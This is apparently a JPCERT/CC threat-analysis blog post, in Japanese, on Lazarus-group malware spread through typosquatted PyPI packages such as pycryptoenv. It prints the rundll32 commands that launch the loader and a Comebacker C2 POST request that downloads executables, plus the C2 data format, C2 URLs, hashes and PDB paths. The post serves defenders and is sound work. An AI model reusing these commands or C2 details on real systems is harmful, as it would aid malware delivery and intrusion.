PyPIを悪用した攻撃グループLazarusのマルウェア拡散活動

JPCERT/CCでは、攻撃グループLazarusが不正なPythonパッケージを公式PythonパッケージリポジトリーであるPyPIに公開していることを確認しました(図1)。今回確認したPythonパッケージは以下のとおりです。

  • pycryptoenv
  • pycryptoconf
  • quasarlib
  • swapmempool

pycryptoenvpycryptoconfは、Pythonで暗号化アルゴリズムを使う際に用いられるPythonパッケージpycryptoに類似したパッケージ名になっており、攻撃者は、ユーザーが同名のパッケージをインストールする際のタイポを狙って、マルウェアを含む不正なパッケージを準備していたと考えられます。
今回は、この不正なPythonパッケージの詳細について紹介します。

攻撃グループLazarusが公開していたPythonパッケージ
図1: 攻撃グループLazarusが公開していたPythonパッケージ

不正なPythonパッケージの構成

今回確認した複数の不正なPythonパッケージは、ほぼ同じファイル構成になっていたため、以降ではpycryptoenvを例に説明します。不正なPythonパッケージは、図2のようなファイル構成になっていました。この中で実際のマルウェア本体は、test.pyというファイルで、このファイル自体はPythonではなく、DLLファイルをエンコードしたバイナリデータになっています。

pycryptoenvのファイル構成
図2: pycryptoenvのファイル構成

test.pyをデコードして実行するコードは、図3のようにinit.pyに含まれています。test.pyは、DLLファイルをXORエンコードしただけの単純な作りになっており、init.pyではデコード後、ファイルとして保存し、実行します。

test.pyをデコードして実行するコード
図3: test.pyをデコードして実行するコード

このマルウェアは、Comebackerと呼ばれるマルウェアで、2021年1月にGoogle社が報告[1]した、攻撃グループLazarusによるセキュリティリサーチャーを狙った攻撃で使用されたマルウェアと同種です。以降では、このtest.pyの詳細について解説します。

test.pyの詳細

test.pyをデコードして実行する関数(図3のcrypt関数)を呼び出すコードはpycryptoenv内には存在しないため、pycryptoenvをインストールしただけではマルウェアは実行されません。攻撃者は、何らかの方法でcrypt関数を実行するPythonスクリプトをターゲットマシン上で実行していると考えられます。以降では、test.pyをデコードして実行する関数が実行された場合の挙動を説明します。
pycryptoenvから、マルウェア本体が実行されるまでの流れを図4に示します。

Comebacker実行までの流れ
図4: Comebacker実行までの流れ

test.pyは、XORデコードされた後、output.pyとして保存されます。その後、DLLファイルとして以下のコマンドで実行されます。

$ rundll32 output.py,CalculateSum

DLLファイルは、IconCache.dbNTUSER.DATを作成し、以下のコマンドで実行します。なお、NTUSER.DATはエンコードされており、デコードされたデータはメモリ上で実行されます。このメモリ上で実行されるデータがComebacker本体です。

RUNDLL32.exe %APPDATA%\..\Roaming\Microsoft\IconCache.db,GetProcFunc %APPDATA%\..\Roaming\Microsoft\Credentials\NTUSER.DAT

なお、今回確認した検体は図5のように固定のデコードキーを持っており、各ファイルのデコードに使用しています。

デコードキーおよびデコード関数
図5: デコードキーおよびデコード関数

また、本検体に使用されているNOPコードには特徴があります。図6のようにコードの途中で66 66 66 66から始まる命令が挿入されています。これは特にデコード・エンコード関数内で多用されています。この特徴は攻撃グループLazarusが使用する他のマルウェアでも見られる特徴で過去にはマルウェアBLINDINGCANでも使用されていました。

ComebackerとBLINDINGCANの特徴的なNOP命令の比較
図6: ComebackerとBLINDINGCANの特徴的なNOP命令の比較

Comebackerの詳細

Comebackerは、C2サーバーに以下のようなHTTP POSTリクエストを送信します。

POST /manage/manage.asp HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: chaingrown.com
Content-Length: 129
Cache-Control: no-cache

NB=XMAFUUCARD&GPETR=NTU1NTY0aHU0Z2psMkRhUA==&FCKA=&YUYRNT=0&POCAYM=52&PQWFQU=MgAwADIANAAtADAAMgAtADAANQAgADIANAA6ADMANAA6ADUANgA=

POSTデータは、以下のような構成になっています。

[ランダムな2文字]=[コマンド(文字列長で決定)]&[ランダムな文字]=[デバイスID(base64エンコード)]&[ランダムな文字]=[不使用(base64エンコード)]&[ランダムな文字]=[数字(最初は0でデータ受信後は、受信したデータ内の値となる)]&[ランダムな文字]=[次の値の長さ]&[ランダムな文字]=[yyyy-MM-dd hh:mm:ss(base64エンコード)※]

※ サーバーからのデータ受信後は、"yyyy-MM-dd hh:mm:ss|コマンド(最初に送信したものと同じ)|受信したバイト数"

上記データの送信に対して、サーバーからはWindows実行ファイルが送信されます(詳しい受信データフォーマットについては、Appendix Aをご覧ください)。Comebackerは、受信したWindows実行ファイルをメモリ上で実行する機能を持っています。

関連する攻撃

攻撃グループLazarusが不正なPythonパッケージを拡散する攻撃と類似する事例として、Phylum社がnpmパッケージにマルウェアが含まれている事象を報告[2]しています。この不正なnpmパッケージにもComebackerが含まれており、攻撃グループLazarusによる攻撃であると考えられます。 このように、攻撃者は複数のパッケージリポジトリーでマルウェア感染の拡大を狙っています。

攻撃グループLazarusが公開していたnpmパッケージ
図7: 攻撃グループLazarusが公開していたnpmパッケージ

おわりに

今回確認した不正なPythonパッケージは、300~1200件程度のダウンロードが行われています(図8)。攻撃者は、タイポを狙ってマルウェアをダウンロードさせようとしている可能性があります。開発環境でモジュールなどをインストールする際は、意図しないパッケージをインストールしてしまわないように注意深く作業してください。今回紹介したマルウェアの通信先などについては、Appendixに記載していますのでご確認ください。

pycryptoenvのダウンロード数
図8: pycryptoenvのダウンロード数

インシデントレスポンスグループ 朝長 秀誠

参考情報

[1] Google: New campaign targeting security researchers
  https://blog.google/threat-analysis-group/new-campaign-targeting-security-researchers/

[2] Phylum: Crypto-Themed npm Packages Found Delivering Stealthy Malware
  https://blog.phylum.io/crypto-themed-npm-packages-found-delivering-stealthy-malware/

Appendix A: 受信データのフォーマット

表 A: 受信データのフォーマット
オフセット 内容 備考
0x00 16進数文字列 コマンド
0x05 16進数文字列 終了フラグ(3なら受信終了)
0x07 16進数文字列 データ長
0x10 データ "+"がスペースに変換されたBase64データ

データのフォーマットは以下のとおり。

[数字(次のPOSTデータに含める数字)]|[数字(受信するデータサイズ)]|[ダウンロードしたWindows実行ファイルで呼び出すExport関数]|[Export関数への引数]|[MD5ハッシュ値]

Appendix B: 通信先

  • https://blockchain-newtech.com/download/download.asp
  • https://fasttet.com/user/agency.asp
  • https://chaingrown.com/manage/manage.asp
  • http://91.206.178.125/upload/upload.asp

Appendix C: マルウェアのハッシュ値

pycryptoenv-1.0.7.tar.gz
- b4a04b450bb7cae5ea578e79ae9d0f203711c18c3f3a6de9900d2bdfaa4e7f67

pycryptoenv-1.0.7-py3-none-any.whl
- c56c94e21913b2df4be293001da84c3bb20badf823ccf5b6a396f5f49df5efff

pycryptoconf-1.0.6.tar.gz
- 956d2ed558e3c6e447e3d4424d6b14e81f74b63762238e84069f9a7610aa2531

pycryptoconf-1.0.6-py3-none-any.whl
- 6bba8f488c23a0e0f753ac21cd83ddeac5c4d14b70d4426d7cdeebdf813a1094

quasarlib-1.0.8.tar.gz
- 173e6bc33efc7a03da06bf5f8686a89bbed54b6fc8a4263035b7950ed3886179

quasarlib-1.0.8-py3-none-any.whl
- 3ab6e6fc888e4df602eff1c5bc24f3e976215d1e4a58f963834e5b225a3821f5

swapmempool-1.0.8.tar.gz
- 60c080a29f58cf861f5e7c7fc5e5bddc7e63dd1db0badc06729d91f65957e9ce

swapmempool-1.0.8-py3-none-any.whl
- 26437bc68133c2ca09bb56bc011dd1b713f8ee40a2acc2488b102dd037641c6e

Comebacker
- 63fb47c3b4693409ebadf8a5179141af5cf45a46d1e98e5f763ca0d7d64fb17c
- e05142f8375070d1ea25ed3a31404ca37b4e1ac88c26832682d8d2f9f4f6d0ae

Loader
- 01c5836655c6a4212676c78ec96c0ac6b778a411e61a2da1f545eba8f784e980
- aec915753612bb003330ce7ffc67cfa9d7e3c12310f0ecfd0b7e50abf427989a
- 85c3a2b185f882abd2cc40df5a1a341962bc4616bc78a344768e4de1d5236ab7
- a4e4618b358c92e04fe6b7f94a114870c941be5e323735a2e5cd195138327f8f
- a8a5411f3696b276aee37eee0d9bed99774910a74342bbd638578a315b65e6a6
- 8fb6d8a5013bd3a36c605031e86fd1f6bb7c3fdba722e58ee2f4769a820b86b0

Appendix D: PDB

  • F:\workspace\CBG\Loader\npmLoaderDll\x64\Release\npmLoaderDll.pdb
  • F:\workspace\CBG\npmLoaderDll\x64\Release\npmLoaderDll.pdb
  • D:\workspace\CBG\Windows\Loader\npmLoaderDll\x64\Release\npmLoaderDll.pdb
  • F:\workspace\CBG\Loader\publicLoaderFirst\x64\Release\publicLoaderFirst.pdb
≪ 前へ
トップに戻る
次へ ≫